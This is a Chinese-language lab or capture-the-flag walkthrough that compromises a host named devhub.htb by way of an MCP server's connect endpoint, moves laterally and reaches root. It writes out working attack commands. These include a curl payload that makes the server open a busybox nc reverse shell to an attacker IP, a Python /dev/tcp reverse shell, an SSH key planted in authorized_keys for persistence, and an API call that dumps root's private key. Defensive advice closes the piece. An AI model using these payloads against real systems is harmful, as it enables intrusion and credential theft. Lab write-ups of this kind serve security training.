从 MCP 远程代码执行到服务提权
字数 1879
更新时间 2026-07-12 00:01:21

MCP远程代码执行到服务提权 — 完整教学文档

一、环境概述

目标IP:10.129.244.23
主机名:devhub.htb

端口扫描结果

PORT     STATE    SERVICE
22/tcp   open     ssh
80/tcp   open     http
6274/tcp open     unknown
  • 22端口:SSH服务
  • 80端口:HTTP服务
  • 6274端口:MCP Servers服务(关键入口)

二、信息收集

  1. 使用 nmap -p- -T4 进行全端口扫描,发现6274端口开放。
  2. 访问80端口的Web页面,发现右上角存在GitHub链接。
  3. 点击GitHub链接进入项目仓库,找到安全公告(Security Advisory),其中披露了MCP Server的远程代码执行漏洞。

三、漏洞利用 — 获取初始Shell

漏洞原理

MCP Server的 /api/mcp/connect 接口未对 serverConfig 参数做充分校验,允许攻击者指定任意的 commandargs,从而实现远程命令执行。

利用步骤

1. 构造Payload发送请求

curl http://devhub.htb:6274/api/mcp/connect \
  --header "Content-Type: application/json" \
  --data '{
    "serverConfig": {
      "command": "busybox",
      "args": ["nc", "10.10.16.14", "8888", "-e", "bash"],
      "env": {}
    },
    "serverId": "mytest"
  }'

参数说明:

  • command: 指定执行的二进制程序,此处为 busybox
  • args: 传递给命令的参数,使用 nc 反弹shell到攻击机
  • env: 环境变量,可为空
  • serverId: 自定义标识符

2. 攻击机开启监听

nc -lvnp 8888

成功接收反弹shell后,执行以下命令使交互更稳定:

script /dev/null

此时获得的是 mcp-dev 用户的shell。


四、横向移动 — 获取analyst用户权限

信息收集

通过 ps aux 发现 analyst 用户正在运行一个服务,监听在 8888 端口。

根据之前的Web页面信息,8888端口仅允许本地访问。因此需要将流量转发到本地。

建立SSH隧道

1. 生成SSH密钥对

ssh-keygen -t rsa

2. 配置公钥认证

将生成的公钥写入目标机器的 ~/.ssh/authorized_keys

mkdir -p ~/.ssh
echo "<your-public-key>" >> ~/.ssh/authorized_keys

3. 设置正确权限

chmod 700 ~/.ssh
chmod 600 ~/.ssh/authorized_keys

4. 建立本地端口转发

ssh mcp-dev@10.129.244.23 -L 8888:127.0.0.1:8888

此命令将远程的8888端口映射到本地的8888端口。

访问内部服务

在浏览器中访问 http://127.0.0.1:8888,即可看到analyst用户的服务页面。

登录时需要填写Token,通过 ps aux 进程列表中找到:

a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7

利用Python Notebook获取analyst Shell

登录成功后,进入第一个Notebook,发现可以执行Python代码。使用以下Payload反弹shell:

import os
os.system('bash -c "bash -i >& /dev/tcp/10.10.16.14/7777 0>&1"')

攻击机监听:

nc -lvnp 7777

成功获得 analyst 用户的shell。


五、服务提权 — 获取Root权限

信息收集工具

使用 linpeas.sh 进行自动化权限提升枚举。

发现关键文件

扫描发现 /opt/opsmcp/server.py 脚本具有root权限运行特性。

分析server.py关键代码

# 身份认证机制
# 请求头需包含:
# X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a

# 关键接口:ops._admin_dump
# 功能:以root权限读取敏感文件

接口功能详解

ops._admin_dump 接口支持三个 target 参数:

target 返回值
ssh_keys 读取 /root/.ssh/id_rsa (root SSH私钥)
passwords 返回所有用户密码哈希(含root)
tokens 返回管理Token和服务Token

注意: 必须设置 confirm: true 才能执行。

提取Root SSH私钥

curl -X POST http://127.0.0.1:5000/tools/call \
  -H "X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "ops._admin_dump",
    "arguments": {
      "target": "ssh_keys",
      "confirm": true
    }
  }'

响应中包含完整的root用户SSH私钥内容,将其保存到本地文件。

最终登录Root

chmod 600 root_id_rsa
ssh -i root_id_rsa root@10.129.244.23

成功以root身份登录目标服务器,完成从MCP远程代码执行到服务提权的完整攻击链。


六、关键知识点总结

阶段 关键技术 要点
信息收集 端口扫描、GitHub信息泄露 发现6274端口MCP服务
初始入侵 MCP connect接口RCE 未校验command/args参数
横向移动 SSH隧道、端口转发 利用-L参数绕过本地限制
服务提权 API密钥泄露、内部接口滥用 硬编码密钥+无权限校验的admin接口

防御建议

  1. MCP Server的connect接口应对command参数做白名单校验
  2. API密钥不应硬编码在源码中,应使用密钥管理系统
  3. 敏感操作接口(如dump凭证)应增加二次认证或多因素验证
  4. 内部服务不应完全信任本地回环地址,应实施最小权限原则
  5. SSH密钥和密码不应存储在可被普通用户读取的位置
相似文章
相似文章
 全屏